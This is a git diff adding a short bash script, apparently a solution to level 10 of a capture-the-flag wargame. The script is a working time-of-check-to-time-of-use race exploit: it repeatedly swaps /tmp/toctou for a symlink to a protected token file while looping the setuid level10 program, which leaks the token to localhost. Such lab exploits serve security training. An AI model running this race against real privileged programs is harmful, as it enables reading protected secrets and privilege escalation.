diff --git a/level10/ressources/toctou.sh b/level10/ressources/toctou.sh new file mode 100644 index 0000000..2127ab8 --- /dev/null +++ b/level10/ressources/toctou.sh @@ -0,0 +1,17 @@ +#!/bin/env bash + +INPUT="/home/user/level10/token" +OUTPUT="/tmp/toctou" +PROGRAM="/home/user/level10/level10" + +touch $OUTPUT + +while true; do $PROGRAM $OUTPUT 127.0.0.1; done & + +while ! test -r $OUTPUT; do + rm -f $OUTPUT + touch $OUTPUT + rm -rf $OUTPUT + ln -s $INPUT $OUTPUT +done +